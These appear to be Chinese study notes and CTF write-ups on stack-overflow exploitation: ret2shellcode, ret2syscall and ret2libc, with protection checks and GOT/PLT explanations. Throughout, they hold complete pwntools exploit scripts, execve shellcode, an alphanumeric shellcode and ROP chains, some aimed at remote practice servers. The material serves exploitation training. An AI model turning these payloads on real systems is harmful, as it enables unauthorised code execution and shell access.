ROP ROP的全称为Return-oriented programming(返回导向编程)
栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
checksec
Arch 程序架构信息,判断是64位还是32位,exp编写的时候是p64还是p32,是大端序还是小端序
RELRO RELRO 是 “Relocation Read-Only” 的缩写,用于保护程序的全局偏移表 (GOT) 免受攻击。
Stack Stack-canary(金丝雀保护),用于检测栈溢出攻击。它是一个随机的值,被插入到栈帧中,并在函数返回时被检查。
NX NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来,当攻击者在堆栈上部署自己的shellcode并触发时,智慧直接造成程序的崩溃,但是可以利用rop这种方法绕过
PIE PIE 是 “Position Independent Executable” 的缩写,它表示程序是否是位置无关的。
ret2shellcode
注入代码
ret2syscall
拼接需要执行系统调用的条件代码
ret2libc
调用
`
程序架构信息
条件
32位
Edx=0 —— EcX=0 —— [Ebx]=’/bin/sh’—— Eax=0xb —— Int 0x80
64位
Rdx=0 —— Rsi=0 —— [Rdi]=’/bin/sh’ —— Rax=0x3b —— syscall
ret2text ret2text 即控制程序执行程序本身已有的的代码 (.text)。
jarvisoj_level2 jarvisoj_level2_x64 ret2shellcode ret2shellcode是指攻击者需要自己将调用shell的机器码(也称shellcode)注入至内存中,随后利用栈溢出复写return_address,进而使程序跳转至shellcode所在内存。前提是无NX保护,或bss段可执行
32位与64位操作系统的shellcraft()生成的shellcode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 >>> from pwn import *>>> context(log_level = 'debug' ,arch='i386' ,os='linux' )>>> shellcode=asm(shellcraft.sh())[DEBUG] Assembling .section .shellcode,"awx" .global _start .global __start _start: __start: .intel_syntax noprefix .p2align 0 /* execve(path='/bin///sh' , argv=['sh' ], envp=0 ) */ /* push b'/bin///sh\x00' */ push 0x68 push 0x732f2f2f push 0x6e69622f mov ebx, esp /* push argument array ['sh\x00' ] */ /* push 'sh\x00\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016972 xor ecx, ecx push ecx /* null terminate */ push 4 pop ecx add ecx, esp push ecx /* 'sh\x00' */ mov ecx, esp xor edx, edx /* call execve() */ push 11 /* 0xb */ pop eax int 0x80 >>> shellcodeb'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80' l>>> print (len (shellcode))44 (0x2c )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 >>> from pwn import *>>> context(log_level = 'debug' ,arch='amd64' ,os='linux' )>>> shellcode=asm(shellcraft.sh())[DEBUG] cpp -C -nostdinc -undef -P -I/home/randolfluo/.local/lib/python3.8 /site-packages/pwnlib/data/includes /dev/stdin [DEBUG] Assembling .section .shellcode,"awx" .global _start .global __start _start: __start: .intel_syntax noprefix .p2align 0 /* execve(path='/bin///sh' , argv=['sh' ], envp=0 ) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00' ] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() */ push 59 /* 0x3b */ pop rax syscall >>> shellcodeb'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' >>> len (shellcode)48 (0x30 )
shellcode精简版 转自linux环境下shellcode的编写:32位和64位 | 码农家园 (codenong.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ######################################################################### ## 一般函数调用参数是压入栈中,这里系统调用使用寄存器 ## 需要对如下几个寄存器进行设置,可以比对官方的实现 ebx = /bin/sh ## 第一个参数 ecx = 0 ## 第二个参数 edx = 0 ## 第三个参数 eax = 0xb ## 0xb为系统调用号,即sys_execve()系统函数对应的序号 int 0x80 ## 执行系统中断 ######################################################################### push 0x68732f push 0x6e69622f mov ebx, esp xor edx, edx xor ecx, ecx mov al, 0xb int 0x80 ## 汇编之后字节长度为20字节 ###################################################################### ## 64位linux下,默认前6个参数都存入寄存器,所以这里没的说也使用寄存器 ## 寄存器存储参数顺序,参数从左到右:rdi, rsi, rdx, rcx, r8, r9 rdi = /bin/sh ## 第一个参数 rsi = 0 ## 第二个参数 rdx = 0 ## 第三个参数 rax = 0x3b ## 64位下的系统调用号 syscall ## 64位使用 syscall ##################################################################### mov rbx, 0x68732f6e69622f push rbx push rsp pop rdi xor esi, esi xor edx, edx push 0x3b pop rax syscall ## 汇编之后字节长度为22字节
无任何保护,有栈溢出漏洞,但是没有system(“/bin/sh”)类型的函数,因此需要我们在bss段构造一个shell函数
buf2被存放在bss段,bss 是英文 Block by Symbol 的简称。通常用来存放程序中未初始化和初始化为 0的全局变量的一块内存区域
0x0804A080
在第三行的范围 发现可读可写,达成ret2shellcode
条件
生成字符串确定字符串s
到ebp
的距离
为112(0x6c)
payload如下
1 2 3 4 5 6 7 8 9 from pwn import *sh = process('./ret2shellcode' ) shellcode = asm(shellcraft.sh()) buf2_addr = 0x0804A080 sh.sendline(shellcode.ljust(112 ,b'A' )+ p32(buf2_addr)) sh.interactive()
由于bss段在ubuntu22和ubuntu20设置为不可执行,我们只能在之前的版本(我用的是ubuntu16)运行payload
mrctf2020_shellcode1
payload
1 2 3 4 5 6 7 8 from pwn import *p = process('./mrctf2020_shellcode' ) context(log_level='debug' ,arch='amd64' ,os='linux' ) shellcode=asm(shellcraft.sh()) gdb.attach(p) p.sendline(shellcode) p.interactive()
ciscn_2019_s_9
可以看到未开启NX保护
,我们难以确定shellcode在栈中的位置,可以借助hint
函数,jmp esp(跳板指令)
来跳转到栈上执行,但是由于shellcraft()
生成的shellcode过长(0x2c),越过了函数的返回地址。当时我想在跳转到esp
后拼接shellcode
,但是失败了,原因在于fgets()
限制了输入的长度。
我们只能自己构造较短的shellcode()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *p = process('./ciscn_s_9' ) context(log_level = 'debug' ,arch='i386' ,os='linux' ) hint_addr=0x08048554 shellcode=''' push 0x68732f push 0x6e69622f mov ebx, esp xor edx, edx xor ecx, ecx mov al,0xb int 0x80 ''' shellcode=asm(shellcode) shell = '''sub esp,0x28;call esp''' shell = asm(shell) payload = shellcode.ljust(0x24 ,b'\x90' )+p32(hint_addr)+shell gdb.attach(p) p.sendline(payload) p.interactive()
pwnable_orw 开启了沙箱保护
可以看到开启了沙箱保护
,这里沙箱保护会限制我们可以执行的系统调用。从汇编代码中我们可以看到执行了注入的shellcode
,可以被执行的系统调用如下。
可以用汇编实现
payload1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context(log_level = 'debug' , arch = 'i386' , os = 'linux' ) p = remote('node4.buuoj.cn' ,29831 ) sys_open = ''' xor ecx,ecx; mov eax,0x5; push ecx; #'/0'截断字符 push 0x67616c66; #flag mov ebx,esp; xor edx,edx; #将 edx 寄存器清零,表示在打开文件时不设置权限(mode) int 0x80; ''' sys_read = ''' mov eax,0x3; mov ecx,0x0804A127; #shellcod最后字节向前覆盖 mov ebx,0x3; #fd=3 mov dl,0x40; int 0x80; ''' sys_write = ''' mov eax,0x4; mov bl,0x1; #fd=1 int 0x80; ''' shellcode=asm(sys_open)+asm(sys_read)+asm(sys_write) p.recvuntil("Give my your shellcode:" ) p.sendline(shellcode) p.interactive()
payload2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *r = process('./orw' ) context(log_level = 'debug' ,arch='i386' ,os='linux' ) shellcode = shellcraft.open ('/flag' ) shellcode += shellcraft.read(3 ,0x0804A127 ,100 ) shellcode += shellcraft.write(1 ,0x0804A127 ,100 ) shellcode = asm(shellcode) r.sendline(shellcode) r.interactive()
fd
0
stdin
1
stdout
2
stderr
注意本题的环境为ubuntu16
,bss段
是可执行的,较高版本的则不行。
mrctf2020_shellcode_revenge 限制了输入字符
可以使用alpha3
来生成shellcode
python ./ALPHA3.py x64 ascii mixedcase rax —input=”存储shellcode的文件”
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *r = remote("node4.buuoj.cn" ,29257 ) context(arch = 'amd64' , os = 'linux' , log_level = 'debug' ) shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" payload=shellcode_64 r.send(payload) r.interactive()
jarvisoj——level1 ret2syscall
ida字符串搜索发现/bin/sh
系统调用,地址为0x80be408需要工具
ROPgadget`
找出修改的寄存器 1 ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
1 ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
构建rop链,其中
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *sh = process('./rop' ) pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat( ['A' * 112 , pop_eax_ret, 0xb , pop_edx_ecx_ebx_ret, 0 , 0 , binsh, int_0x80]) sh.sendline(payload) sh.interactive()
ret2libc Basic-ROP (yuque.com)
ROP-基础-ret2libc2_ret2libc2下载-CSDN博客
过程链接表(PLT)和全局偏移量表(GOT) ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。
总结一下,假设我们用调用addvec
函数,首先进入PLT[2]。若为第1
次调用,进行动态链接,然后把控制传递给addvec。第n(n>1)
调用由于addvec
函数已经被加载到内存中确定的位置,则会从直接从PLT表跳转到GOT表中,在GOT表中进行函数调用。
.got.plt
表用来表示函数地址
由于libc 的延迟绑定机制,我们需要泄露已经执行过的函数地址。
plt
在代码段,got
在数据段
plt
是代码的填写者,got
是代码的保存者
0x1
“/bin/sh”字符串和system函数都可以在程序找到
通过IDAPro使用快捷键ctrl+s
查找plt表上的system函数
查找/bin/sh
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *sh = process('./ret2libc1' ) binsh_addr = 0x8048720 system_plt = 0x8048460 payload = flat(['a' * 112 , system_plt, 'b' * 4 , binsh_addr]) sh.sendline(payload) sh.interactive()
0x2
找不到”/bin/sh”字符串
两种wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *sh=process('./ret2libc2' ) sys_addr=0x08048490 gets_addr=0x08048460 buf2_addr=0x0804A080 payload=flat([112 *b'a' ,gets_addr,sys_addr,buf2_addr,buf2_addr]) sh.sendline(payload) sh.sendline(b'/bin/sh\x00' ) sh.interactive()
此处的ebx
用于调整栈结构
1 2 3 4 5 6 7 8 9 10 11 from pwn import *sh=process('./ret2libc2' ) sys_addr=0x08048490 gets_addr=0x08048460 buf2_addr=0x0804A080 pop_ebx_addr=0x0804843d payload=flat([112 *b'a' ,gets_addr,pop_ebx_addr,buf2_addr,sys_addr,'AAAA' ,buf2_addr]) sh.sendline(payload) sh.sendline('/bin/sh' ) sh.interactive()
0x3
都找不到
泄露libc地址,通过偏移计算出字符串地址
_start函数有一句and esp, 0FFFFFFF0h进行了堆栈平衡
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import * sh = process('./ret2libc3') #main_addr = 0x080484D0 start_addr = 0x08048618 put_plt = 0x08048460 libc_main_addr = 0x0804A024 payload = 112 * b'a' + p32(put_plt) + p32(start_addr) + p32(libc_main_addr) sh.recv() sh.sendline(payload) libc_real_addr = u32(sh.recv(4)) print ("real_addr is:" + hex(libc_real_addr)) sh.recv() addr_base = libc_real_addr - 0x018540 system_addr = addr_base + 0x03a940 string_addr = addr_base + 0x15902b print ("system addr is:" + hex(system_addr)) print ("string_addr is:" + hex(string_addr)) payload = 104 * b'a' + p32(system_addr) + 4*b'a' + p32(string_addr) sh.sendline(payload) sh.interactive()
参考 一步一步学ROP之linux_x86篇 | WooYun知识库 (xmd5.com)
基本 ROP - CTF Wiki (ctf-wiki.org)
基本ROP讲解 - 知乎 (zhihu.com)
彻底搞清楚 GOT 和 PLT - 简书 (jianshu.com)